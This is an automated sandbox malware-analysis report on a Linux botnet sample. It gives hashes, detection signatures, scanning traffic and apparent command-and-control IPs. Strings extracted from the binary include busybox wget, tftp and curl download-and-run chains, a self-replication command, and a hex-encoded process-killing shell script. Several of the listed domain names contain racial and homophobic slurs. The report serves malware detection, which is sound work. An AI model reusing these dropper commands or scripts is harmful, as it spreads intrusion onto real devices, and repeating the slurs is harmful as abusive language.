Linux Analysis Report
nklsh4.elf

Overview

General Information

Sample name: nklsh4.elf
Analysis ID: 1543148
MD5: 7b87424741e3972ff9d69d08c233b121
SHA1: 7ba47abe4bbf75f564504d1649b0af232702a2ba
SHA256: e0e9bd7c1b10302e7ebb6451cd8c3bfad71c2bc2ce59f50feb06f18c2cdd1ae4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nklsh4.elf ReversingLabs: Detection: 52%
Source: nklsh4.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic TCP traffic: 192.168.2.14:57368 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.14:52686 -> 185.150.24.67:38241
Source: /tmp/nklsh4.elf (PID: 5497) Socket: 127.0.0.1:39148 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 46.132.231.109
Source: unknown TCP traffic detected without corresponding DNS query: 46.132.231.109
Source: unknown TCP traffic detected without corresponding DNS query: 201.145.232.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.112.136
Source: unknown TCP traffic detected without corresponding DNS query: 186.255.240.241
Source: unknown TCP traffic detected without corresponding DNS query: 128.57.113.189
Source: unknown TCP traffic detected without corresponding DNS query: 201.145.232.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.112.136
Source: unknown TCP traffic detected without corresponding DNS query: 128.57.113.189
Source: unknown TCP traffic detected without corresponding DNS query: 186.255.240.241
Source: unknown TCP traffic detected without corresponding DNS query: 151.57.189.87
Source: unknown TCP traffic detected without corresponding DNS query: 151.57.189.87
Source: unknown TCP traffic detected without corresponding DNS query: 4.143.241.14
Source: unknown TCP traffic detected without corresponding DNS query: 49.84.190.13
Source: unknown TCP traffic detected without corresponding DNS query: 16.28.203.51
Source: unknown TCP traffic detected without corresponding DNS query: 164.177.111.68
Source: unknown TCP traffic detected without corresponding DNS query: 4.143.241.14
Source: unknown TCP traffic detected without corresponding DNS query: 49.84.190.13
Source: unknown TCP traffic detected without corresponding DNS query: 16.28.203.51
Source: unknown TCP traffic detected without corresponding DNS query: 164.177.111.68
Source: unknown TCP traffic detected without corresponding DNS query: 60.121.96.85
Source: unknown TCP traffic detected without corresponding DNS query: 60.121.96.85
Source: unknown TCP traffic detected without corresponding DNS query: 20.89.65.84
Source: unknown TCP traffic detected without corresponding DNS query: 113.247.207.26
Source: unknown TCP traffic detected without corresponding DNS query: 51.170.158.251
Source: unknown TCP traffic detected without corresponding DNS query: 140.53.203.161
Source: unknown TCP traffic detected without corresponding DNS query: 78.230.125.128
Source: unknown TCP traffic detected without corresponding DNS query: 20.89.65.84
Source: unknown TCP traffic detected without corresponding DNS query: 149.148.195.63
Source: unknown TCP traffic detected without corresponding DNS query: 113.247.207.26
Source: unknown TCP traffic detected without corresponding DNS query: 126.225.201.234
Source: unknown TCP traffic detected without corresponding DNS query: 51.170.158.251
Source: unknown TCP traffic detected without corresponding DNS query: 140.37.45.201
Source: unknown TCP traffic detected without corresponding DNS query: 140.53.203.161
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.143.243
Source: unknown TCP traffic detected without corresponding DNS query: 78.230.125.128
Source: unknown TCP traffic detected without corresponding DNS query: 90.50.153.56
Source: unknown TCP traffic detected without corresponding DNS query: 149.148.195.63
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.56.31
Source: unknown TCP traffic detected without corresponding DNS query: 126.225.201.234
Source: unknown TCP traffic detected without corresponding DNS query: 140.37.45.201
Source: unknown TCP traffic detected without corresponding DNS query: 80.31.202.203
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.143.243
Source: unknown TCP traffic detected without corresponding DNS query: 174.29.141.203
Source: unknown TCP traffic detected without corresponding DNS query: 90.50.153.56
Source: unknown TCP traffic detected without corresponding DNS query: 218.82.157.181
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.56.31
Source: unknown TCP traffic detected without corresponding DNS query: 97.62.71.166
Source: unknown TCP traffic detected without corresponding DNS query: 124.37.251.26
Source: unknown TCP traffic detected without corresponding DNS query: 80.31.202.203
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: nklsh4.elf String found in binary or memory: http:///curl.sh
Source: nklsh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/0@9/0
Source: /tmp/nklsh4.elf (PID: 5497) Queries kernel information via 'uname': Jump to behavior
Source: nklsh4.elf, 5497.1.00007fff70dc3000.00007fff70de4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: nklsh4.elf, 5497.1.000055ff13ca1000.000055ff13d04000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: nklsh4.elf, 5497.1.000055ff13ca1000.000055ff13d04000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: nklsh4.elf, 5497.1.00007fff70dc3000.00007fff70de4000.rw-.sdmp Binary or memory string: [Vx86_64/usr/bin/qemu-sh4/tmp/nklsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklsh4.elf
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs